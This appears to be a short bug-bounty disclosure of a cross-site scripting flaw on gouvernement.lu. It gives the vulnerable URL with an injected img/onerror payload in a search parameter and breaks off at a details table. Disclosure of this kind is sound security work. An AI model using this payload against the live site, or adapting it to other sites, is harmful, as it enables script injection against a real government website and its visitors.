gouvernement.lu XSS vulnerability

Vulnerable URL: http://www.gouvernement.lu/978542/dossiers/?utf8=%C3%A2%C2%9C%C2%93searchpage=1class=dossiersearch=978542future=falsesearchfacetfilterfunction=Premier+ministre,+%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3Eministre+d%27%C3%83%C2%89tat Details: Description| Value...